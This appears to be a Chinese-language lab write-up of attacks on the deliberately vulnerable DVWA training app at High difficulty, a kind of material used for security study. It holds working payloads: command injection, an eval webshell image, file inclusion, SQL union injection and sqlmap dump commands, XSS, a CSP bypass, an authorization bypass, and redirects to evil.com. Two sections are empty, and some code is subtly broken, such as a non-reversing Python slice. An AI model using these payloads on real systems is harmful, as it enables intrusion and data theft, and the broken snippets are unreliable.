云计算百科
云计算领域专业知识百科平台

DVWA 靶场实验报告 (High Level)

DVWA 靶场实验报告 (High Level)

难度等级:High 报告说明:本文为 DVWA 靶场 High 难度下17个漏洞的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于Burp Suite、Sqlmap等工具实现,所有操作步骤均配套实操截图 https://www.cnblogs.com/wrold

📑 目录

  • Brute Force — 暴力破解
  • Command Injection — 命令注入
  • CSRF — 跨站请求伪造
  • File Inclusion — 文件包含
  • File Upload — 文件上传
  • Insecure CAPTCHA — 不安全的验证码
  • SQL Injection — SQL 注入
  • SQL Injection (Blind) — SQL 盲注
  • Weak Session IDs — 弱会话 ID
  • XSS (DOM) — DOM 型跨站脚本
  • XSS (Reflected) — 反射型跨站脚本
  • XSS (Stored) — 存储型跨站脚本
  • CSP Bypass — CSP 策略绕过
  • JavaScript Attacks — JavaScript 攻击
  • Authorisation Bypass — 越权访问
  • Open HTTP Redirect — 开放重定向
  • Cryptography — 密码学

  • 1. Brute Force — 暴力破解

    漏洞特点

    High 难度新增时间延迟+user_token 验证,token 明文显示在前端页面,需动态提取 token 配合爆破。

    利用步骤

  • 抓包:通过Burp Suite抓取登录请求包,可见username、password、user_token三个核心参数,token 为32位随机字符串。
  • 定位token:查看前端页面源码,token 藏在<input type="hidden" name="user_token" value="xxx">中,可通过正则匹配提取。
  • Burp 配置
    • 进入Intruder,选择Pitchfork 交叉爆破,标记password和user_token为爆破位置;
    • 进入Settings,开启提取Grep项,正则表达式配置为value=(.*?)\\/>\\r\\n,匹配前端的token值;
    • 对user_token的Payload类型选择递归提取,并填入初始请求的有效token(抓包获取的原始token)。
  • 爆破设置:将资源池发包最大次数改为1(禁止并发,避免token失效),加载密码字典开始爆破。
  • 结果分析:按响应长度排序,长度与其他条目不同的即为正确密码(正确登录的响应页面与错误页面长度存在明显差异)。
  • 核心注意点

    抓包后禁止提前发包,否则token会刷新导致爆破失败,需保证初始token与爆破请求一致。


    2. Command Injection — 命令注入

    漏洞特点

    High 难度对管道符等命令分隔符做了黑名单过滤,但过滤代码存在空格书写错误,导致过滤失效,可构造无空格的命令拼接Payload。

    漏洞代码分析

    if(isset($_POST['Submit'])){
    $target= trim($_REQUEST['ip']);
    $substitutions = array(
    // 过滤代码存在多余空格,导致过滤逻辑失效
    );
    $target=str_replace( array_keys( $substitutions ),$substitutions, $target );
    if(stristr(php_uname('s'),"Windows NT")){
    $cmd=shell_exec("ping ".$target);
    }else{
    $cmd=shell_exec("ping -c4 ".$target);
    }
    $html.="<pre>{$cmd}</pre>";
    }

    利用方法

    直接构造无空格管道符拼接的Payload,绕过滤黑名单位置:

    127.0.0.1|whoami

    提交后成功执行系统命令,返回当前用户信息。


    3. CSRF — 跨站请求伪造

    漏洞特点

    High 难度新增user_token 验证,token 明文显示在前端HTML源码中,单纯构造CSRF链接无法绕过,需配合XSS漏洞提取token后组合攻击。

    漏洞分析

  • 抓包修改密码请求,可见URL中包含password_new、password_conf、user_token参数,token为必填项。
  • 查看前端源码,user_token藏在隐藏输入框中,攻击者无法直接获取受害者的token,但可通过XSS注入脚本自动提取受害者的token并拼接CSRF请求。
  • 攻击思路

  • 利用靶场中存在的XSS漏洞(如反射型、存储型),构造XSS脚本提取页面中的user_token;
  • 将提取的token拼接至CSRF修改密码的URL中;
  • 诱导受害者点击包含XSS+CSRF的恶意链接,实现自动修改密码。

  • 4. File Inclusion — 文件包含

    漏洞特点

    High 难度对page参数做了关键词白名单过滤(仅允许包含file/fie),但未限制伪协议,可通过file://伪协议实现任意文件读取。

    漏洞代码分析

    $file=$_GET['page'];
    if(!fnmatch("file,fie",$file)&&$file !="include.php"){
    echo "ERROR:File not found!";
    exit;
    }

    利用方法

    构造file://伪协议Payload,指定本地文件绝对路径,实现任意目录文件读取:

    http://dvwa:8564/vulnerabilities/fi/?page=file://D:/1.php

    拓展利用

    若服务器开启php://伪协议相关配置,可结合php://filter实现源码读取:

    http://dvwa:8564/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php


    5. File Upload — 文件上传

    漏洞特点

    High 难度做了多重过滤:文件类型校验、文件大小限制、getimagesize()图片头校验,无法直接上传webshell,需制作图片马配合文件包含漏洞实现webshell执行。

    漏洞代码分析

    // 校验文件后缀、大小、是否为图片
    if((strtolower($uploaded_ext) in $allowed_ext)&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){
    // 上传成功逻辑
    }

    利用步骤

  • 制作图片马:任意正常图片(如11.png)后拼接PHP一句话webshell,保留图片文件头(避免getimagesize()校验失败)。// 图片马制作(cmd命令)
    copy 1.png /b + shell.php /a 11.png
    图片马内容示例:<?php phpinfo();?>(测试用)/<?php @eval($_POST['pass']);?>(一句话webshell)。
  • 上传图片马:直接上传制作好的11.png,靶场提示上传成功,返回文件路径../hackable/uploads/11.png。
  • 文件包含利用:通过File Inclusion漏洞的file://伪协议,包含上传的图片马,执行PHP代码:http://dvwa:8564/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/11.png
    访问后成功执行phpinfo(),证明图片马生效。
  • 核心注意点

    图片马必须保留合法图片头,否则getimagesize()会检测出非图片文件,导致上传失败。


    6. Insecure CAPTCHA — 不安全的验证码


    7. SQL Injection — SQL 注入

    漏洞特点

    High 难度新增会话弹窗验证,但注入核心逻辑未变,仍为字符型注入,可通过手工注入或Sqlmap实现数据提取。

    利用步骤(手工注入)

  • 判断注入类型:
    • 输入1:正常返回数据;
    • 输入1':页面报错,说明为字符型注入,需用单引号闭合,注释符#截断语句。
  • 验证注入点:输入1' and 1=1 #,正常返回数据;输入1' and 1=2 #,无数据返回,注入点有效。
  • 判断列数:输入1' order by 2 #,正常返回;输入1' order by 3 #,报错,说明查询结果为2列。
  • 联合注入提取数据:
    • 提取数据库名:-1' union select 1,database() #
    • 提取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    • 提取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    • 提取账号密码:-1' union select user,password from users #
  • 利用步骤(Sqlmap自动化注入)

    由于注入结果在第二个页面展示,需使用–second-url参数指定结果页面,命令如下:

    # 读取所有数据库
    sqlmap -r D:\\Backup\\桌面\\1.txt –dbs –batch –second-url=http://dvwa:8564/vulnerabilities/sqli/
    # 读取users表数据
    sqlmap -r D:\\Backup\\桌面\\1.txt -D dvwa -T users -C user,password –dump –batch –second-url=http://dvwa:8564/vulnerabilities/sqli/

    执行后成功提取数据库中所有账号和加密后的密码。


    8. SQL Injection (Blind) — SQL 盲注

    漏洞特点

    High 难度在时间盲注中加入随机sleep延迟(rand(0,5)==3时触发2-4秒延迟),导致时间盲注失效,仅能使用布尔盲注实现数据提取。

    漏洞代码分析

    else {
    // 随机sleep,干扰时间盲注
    if(rand(0,5)==3){
    sleep(rand(2,4));
    }
    }

    利用步骤(Sqlmap自动化布尔盲注)

  • 抓包:抓取盲注请求包,发现注入点位于Cookie的id参数中(id=1)。
  • 指定布尔盲注:使用–technique=B参数强制Sqlmap使用布尔盲注,结合–second-url指定结果页面,命令如下:
  • sqlmap -r D:\\Backup\\桌面\\1.txt –dbs –batch –second-url="http://dvwa:8564/vulnerabilities/sqli_blind/" –technique=B

  • 结果提取:Sqlmap通过布尔盲注的页面回显差异,成功爆破出所有数据库名(dvwa、security、pikachu等)。
  • 核心注意点

    请求包中有多个参数时,避免同时标记多个注入点,逐个测试定位真实注入点(本次为Cookie的id参数)。


    9. Weak Session IDs — 弱会话 ID

    漏洞特点

    High 难度的dvwaSession参数为MD5加密的简单数字,可通过MD5解密构造有效会话ID,导致会话劫持。

    利用步骤

  • 查看Cookie:在浏览器开发者工具中查看Cookie,可见dvwaSession=b6d767d2f8ed5d21a44b0e5886680cb9。
  • MD5解密:将dvwaSession的值进行MD5解密,结果为22(简单数字)。
  • 构造会话ID:通过MD5加密连续数字(21、22、23、24…),生成大量有效dvwaSession值,尝试会话劫持。
  • 漏洞危害

    攻击者可通过构造弱会话ID,冒充其他用户登录系统,获取敏感信息。


    10. XSS (DOM) — DOM 型跨站脚本

    漏洞特点

    High 难度对default参数做了白名单过滤(仅允许French、English、German、Spanish),非白名单值会被重定向,可通过**#号**绕过服务器过滤(服务器不解析#后参数,前端DOM解析)。

    漏洞代码分析

    if(array_key_exists("default",$_GET)&&!is_nulL($_GET['default'])){
    switch($_GET['default']){
    case "French":case "English":case "German":case"Spanish":
    break;
    default:
    header("Location:?default=English");
    exit;
    }
    }

    利用方法

    构造Payload,白名单值+#号+XSS脚本,服务器仅解析#前的English,前端DOM解析#后的XSS脚本:

    http://dvwa:8564/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

    访问后成功弹出弹窗,XSS利用成功。


    11. XSS (Reflected) — 反射型跨站脚本

    漏洞特点

    High 难度对<script>标签做了严格的正则过滤(匹配任意变种的script关键字,如ScRiPt、script等),无法直接使用script标签,可通过事件型XSS绕过滤。

    漏洞代码分析

    $name=preg_replace('/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t/i',"",$_GET['name']);
    $html.="<pre>hello{$name}</pre>";

    利用方法

    使用<img>标签的onerror事件构造无script的XSS Payload,触发弹窗:

    <img src=x onerror=alert(1)>

    提交后成功弹出弹窗,XSS利用成功。

    拓展Payload

    <div onmouseover=alert(1)>鼠标悬停触发</div>
    <a href=javascript:alert(1)>点击触发</a>


    12. XSS (Stored) — 存储型跨站脚本

    漏洞特点

    High 难度对message字段做了多重过滤(strip_tags+addslashes+htmlspecialchars),完全无法注入;对name字段仅过滤<script>标签,可在name字段构造事件型XSS,并修改前端输入框限制实现长Payload输入。

    漏洞代码分析

    // message字段严格过滤
    $message=strip_tags(addslashes( $message));
    $message=htmlspecialchars ( $message);
    // name字段仅过滤script标签
    $name=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/i',"",$name);

    利用步骤

  • 修改前端输入限制:name输入框默认有长度限制,通过浏览器开发者工具修改maxlength为10000,允许输入长Payload。
  • 构造Payload:在name字段输入<img>标签的onerror事件XSS Payload,message字段任意填写:<img src=x onerror=alert(1)>
  • 3. 提交触发:提交后留言簿中存储该Payload,任意用户访问留言簿页面时,自动弹出弹窗,存储型XSS利用成功。


    13. CSP Bypass — CSP 绕过

    漏洞特点

    High 难度配置了内容安全策略(CSP),仅允许加载self(自身域名)的脚本,禁止外部脚本和未授权内联脚本,但靶场自身代码存在逻辑漏洞,可通过自身的JSONP接口绕过CSP。

    漏洞分析

  • 查看响应头,CSP配置为:Content-Security-Policy: script-src 'self'。
  • 发现靶场存在JSONP接口:/vulnerabilities/csp/source/jsonp.php?callback=xxx,该接口可接收任意callback参数并执行,且属于自身域名,符合CSP规则。
  • 后端存在任意代码写入漏洞,include参数可直接写入HTML/JS代码,无过滤。
  • 利用方法

    通过POST请求向include参数注入脚本,加载自身JSONP接口并执行XSS代码,Payload如下:

    include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>

    操作步骤

  • 打开Burp Suite的Repeater,构造POST请求,目标URL:http://dvwa:8564/vulnerabilities/csp/;
  • 请求体为application/x-www-form-urlencoded,参数:include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>;
  • 发送请求后,成功弹出弹窗,CSP绕过成功。

  • 14. JavaScript Attacks — JavaScript 攻击

    漏洞特点

    High 难度通过JavaScript加密算法生成token,需提交正确的phrase+token才能通过验证,核心为分析加密逻辑并还原token生成过程。

    加密逻辑分析

    通过Burp抓包获取混淆的JS代码,反混淆后得到3个核心加密函数,执行顺序为:token_part_1 → token_part_2(300ms延时) → token_part_3(点击提交触发)。

    反混淆后核心JS代码

    // 字符串反转
    function do_something(e) {
    for (var t = "", n = e.length 1; n >= 0; n) t += e[n];
    return t
    }
    // sha256(YY + token),High难度为XX
    function token_part_2(e = "XX") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
    }
    // sha256(token + ZZ)
    function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
    }
    // 反转phrase赋值给token
    function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
    }
    // 执行顺序:先token_part_1,300ms后token_part_2,点击提交触发token_part_3
    document.getElementById("phrase").value = "";
    setTimeout(function() {token_part_2("XX")}, 300);
    document.getElementById("send").addEventListener("click", token_part_3);
    token_part_1("ABCD", 44);

    利用方法(两种)

    方法1:前端控制台手动执行加密函数
  • 在输入框中填入正确的phrase:success;
  • 打开浏览器开发者工具控制台,按顺序执行加密函数:token_part_1("ABCD", 44);
    token_part_2("XX");
  • 3. 点击提交按钮,触发token_part_3生成最终token,验证成功。

    方法2:Python脚本还原加密过程,直接生成token

    通过Python实现字符串反转+SHA256加密,直接生成最终token,构造POST请求提交。

    Python加密脚本

    import hashlib

    def do_something(e):
    """字符串反转"""
    return e[::1]

    def sha256(s):
    """SHA256 哈希计算"""
    return hashlib.sha256(s.encode()).hexdigest()

    def calc_token(phrase="success"):
    # Step 1: token_part_1 – 反转phrase
    token = do_something(phrase)
    print(f"Step 1 (反转phrase): {token}")
    # Step 2: token_part_2 – sha256("XX" + token)
    token = sha256("XX" + token)
    print(f"Step 2 (sha256 XX+token): {token}")
    # Step 3: token_part_3 – sha256(token + "ZZ")
    token = sha256(token + "ZZ")
    print(f"Step 3 (sha256 token+ZZ): {token}")
    return token

    if __name__ == "__main__":
    phrase = "success"
    token = calc_token(phrase)
    print(f"\\n最终token: {token}")
    print(f"POST数据: phrase={phrase}&send=Submit&token={token}")

    执行脚本

    运行后生成最终token,通过Burp构造POST请求提交,验证成功。


    15. Authorisation Bypass — 越权访问

    漏洞特点

    High 难度对前端页面做了管理员权限校验(非admin用户访问提示403),但对后端接口文件change_user_details.php未做鉴权,可直接发送JSON请求修改任意用户信息。

    漏洞代码分析

    // 前端页面权限校验
    ![](https://cdn.jsdelivr.net/gh/Tjsdrj/BlogImage@main/img/20260303174017788.png)
    if (dvwaCurrentUser() !="admin"){
    print "Unauthorised";
    http_response_code(403);
    exit;
    }
    // 后端接口change_user_details.php 无任何鉴权逻辑

    利用方法

    直接向change_user_details.php发送JSON格式的POST请求,修改任意用户的id、姓名等信息:

  • 目标URL:http://dvwa:8564/vulnerabilities/authbypass/change_user_details.php;
  • 请求头:Content-Type: application/json;
  • 请求体(JSON):{"id":3,"first_name":"hacked","surname":"hacked"}
  • 4. 发送请求后,返回{"result":"ok"},用户信息修改成功。


    16. Open HTTP Redirect — 开放重定向

    漏洞特点

    High 难度对redirect参数做了关键字匹配过滤(仅允许包含info.php),但未限制info.php的位置,可构造包含info.php的恶意URL,实现任意地址重定向。

    漏洞代码分析

    if (array_key_exists("redirect",$_GET) && $_GET['redirect']!=""){
    if(strpos($_GET['redirect'],"info.php")==false){
    http_response_code(500);
    echo "<p>You can only redirect to the info page.</p>";
    exit;
    }else{
    // 重定向逻辑
    header("Location: ".$_GET['redirect']);
    }
    }

    利用方法

    构造包含info.php的恶意URL,绕过滤后将受害者重定向到钓鱼网站/恶意站点,核心Payload示例:

    # Payload1:参数后拼接info.php
    ?redirect=https://evil.com/?x=info.php
    # Payload2:子域名中包含info.php
    ?redirect=https://evil.com/info.php.attacker.com/
    # Payload3:锚点后拼接info.php
    ?redirect=https://attacker.com#info.php

    漏洞危害

    攻击者诱导受害者点击恶意链接,受害者在信任的dvwa域名下被重定向到恶意站点,导致钓鱼、账号窃取等攻击。


    17. Cryptography — 密码学


    赞(0)
    未经允许不得转载:网硕互联帮助中心 » DVWA 靶场实验报告 (High Level)
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!